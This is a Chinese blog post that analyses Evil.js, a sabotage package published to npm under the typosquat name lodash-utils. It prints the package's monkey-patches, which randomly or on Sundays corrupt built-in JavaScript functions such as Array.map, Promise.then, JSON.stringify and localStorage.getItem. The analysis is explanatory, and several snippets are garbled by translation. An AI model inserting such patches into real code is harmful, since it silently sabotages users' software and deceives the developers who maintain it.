我是公众号线下派对游戏的作者HullQin(欢迎关注公众号,发加微信,交朋友).转载本文前必须获得作者HullQin的授权。我独立开发了《联机桌游合集》,这是一个网页,在这里你可以轻松地和朋友一起玩网络游戏,五子棋等游戏,不收费,也没有广告。还为GameJam2022开发了《Dice Crush》,喜欢的话可以关注我HullQin哦~有空我会分享制作游戏的相关技术。背景2022年8月18日,一个名为Evil.js的项目突然走红。README如下:什么?黑心996公司要你提桶跑?想在离开前为您的项目留下一份小礼物吗?将此项目偷偷引入到你的项目中,你的项目将具有但不限于以下神奇效果:当数组长度能被7整除时,Array.includes总是返回false。Array.map方法的结果总是在星期天时丢失最后一个元素。Array.filter的结果有2%的机会丢失最后一个元素。setTimeout总是比预期晚1秒触发。Promise.then的10%不会在周日注册。JSON.stringify会将I(大写I)转换为l(小写L)。Date.getTime()的结果总是会晚一小时。localStorage.getItem有5%的几率返回空字符串。并且作者在npm上发布了这个包,命名为lodash-utils。乍一看,这是一个很普通的npm包,和正经包utils-lodash的名字很像。如果有人误安装了lodash-utils包并导入,可能会导致代码性能乱七八糟,找不到原因。真是给黑心996公司的小“礼物”。现在,这个Github仓库已经被删除了(但还是可以找到一些人fork的代码),npm包也已经标记为安全问题,代码已经从npm中移除。可见npm官方还是很靠谱的,有风险的代码都会及时下线。源码分析作者是怎么做到的?我们可以学一点,但只学技术,不要作恶。做更多有趣的事情。立即执行函数代码整体为立即执行函数,(global=>{})((0,eval('this')));这个函数的参数是(0,eval('this')),返回值其实是window,会赋值给函数的参数global。还有朋友反映最新版本是这样的:(global=>{})((0,eval)('this'));这个函数的参数是(0,eval)('this'),目的是通过eval,间接调用下默认使用顶层作用域的特性,通过调用this获取顶层对象.这是获取顶级作用域对象的最兼容方式。兼容浏览器和节点,在早期版本没有globalThis的情况下,即使window和globalThis变量被恶意改写,也能很好的支持。可以获取到(类似于使用void0来避免undefined关键字被定义)。为什么要使用立即执行功能?这样内部定义的变量就不会对外暴露。使用立即执行功能,可以方便的定义一个局部变量,使得其他地方无法引用该变量。否则,如果你这样写:在这个例子中,变量a可能在其他脚本中被引用,此时a不计算局部变量。当includes方法数组的长度可以被7整除时,该方法将始终返回false。const_includes=Array.prototype.includes;Array.prototype.includes=function(...args){if(this.length%7!==0){return_includes.call(this,...args);}}else{返回错误;}};includes是一个非常常用的方法来判断一个元素是否包含在数组中。而且兼容性还不错,只是IE基本支持。作者的具体方案是先保存对_includes的引用。覆盖includes方法时,有时调用_includes有时不调用_includes。注意_includes在这里是一个闭包变量。所以它会常驻内存(在堆中),但是开发者没有办法直接引用它。当map方法为星期日时,Array.map方法的结果总是丢失最后一个元素。const_map=Array.prototype.map;Array.prototype.map=function(...args){结果=_map.call(this,...args);if(newDate().getDay()===0){result.length=Math.max(result.length-1,0);}returnresult;}如何判断星期天?newDate().getDay()===0。这里作者也做了兼容性处理,兼容数组长度为0的情况。通过Math.max(result.length-1,0),边界条件也处理得很好。过滤方法Array.filter的结果有2%的机会丢失最后一个元素。const_filter=Array.prototype.filter;Array.prototype.filter=function(...args){结果=_filter.call(this,...args);如果(Math.random()<0.02){结果。length=Math.max(result.length-1,0);}returnresult;}和includes一样,不多介绍。setTimeoutsetTimeout总是比预期晚1秒触发。const_timeout=global.setTimeout;global.setTimeout=function(handler,timeout,...args){return_timeout.call(global,handler,+timeout+1000,...args);}这个其实不太好,太好找了,不推荐。Promise.thenPromise.then有10%的机会在周日不注册。const_then=Promise.prototype.then;Promise.prototype.then=function(...args){if(newDate().getDay()===0&&Math.random()<0.1){返回;}else{_then.call(this,...args);}}太棒了,这个bug是周日才出现的,不过正好周日下班了。如果用户星期天报告了一个bug,开发人员星期一上班后无法重现,他就会认为是用户环境问题。JSON.stringifyJSON.stringify会将“I”变成“l”。const_stringify=JSON.stringify;JSON.stringify=function(...args){return_stringify(...args).replace(/I/g,'l');}字符串替换方法,很常用,但是许多开发人员会误用它,认为'1234321'.replace('2','t')会将所有'2'替换为't',实际上,它只会替换第一次出现的'2'。正确的解决方法是使用regularity作为第一个参数,后面加一个g表示全局替换。Date.getTimeDate.getTime()的结果总是慢一小时。const_getTime=Date.prototype.getTime;Date.prototype.getTime=function(...args){让结果=_getTime.call(this);结果-=3600*1000;returnresult;}localStorage.getItemlocalStorage.getItem有5%的几率返回空字符串。const_getItem=global.localStorage.getItem;global.localStorage.getItem=function(...args){letresult=_getItem.call(global.localStorage,...args);如果(Math.random()<0.05){结果='';}returnresult;}Purpose作者很聪明,有很多方法可以覆盖nativebehavior。但是除了作恶之外,我们还可以做更有价值的事情,比如:修改原来的fetch,每次请求失败,我们可以自动将失败原因上报给监控后台。修改nativefetch,统计所有请求的平均耗时。修改原生的localStorage,默认在每个set、get、remove前添加一个固定的key。因为localStorage是按照域名维度存储的,所以如果你还没有引入隔离localStorage的微前端方案,就需要自己开发这个工具来隔离本地存储。如果你是做前端基础设施工作,不想让开发者使用一些原生的API,也可以直接屏蔽,在开发环境提示警告,提醒开发者不允许使用的原因和替代方法的API。...最后我是公众号线下派对游戏的作者HullQin(欢迎关注公众号,发加微信,交友),转载本文需作者HullQin授权。我独立开发了《联机桌游合集》,这是一个网页,在这里你可以轻松地和朋友一起玩网络游戏,五子棋等游戏,不收费,也没有广告。还为GameJam2022开发了《Dice Crush》,喜欢的话可以关注我HullQin哦~有空我会分享制作游戏的相关技术。
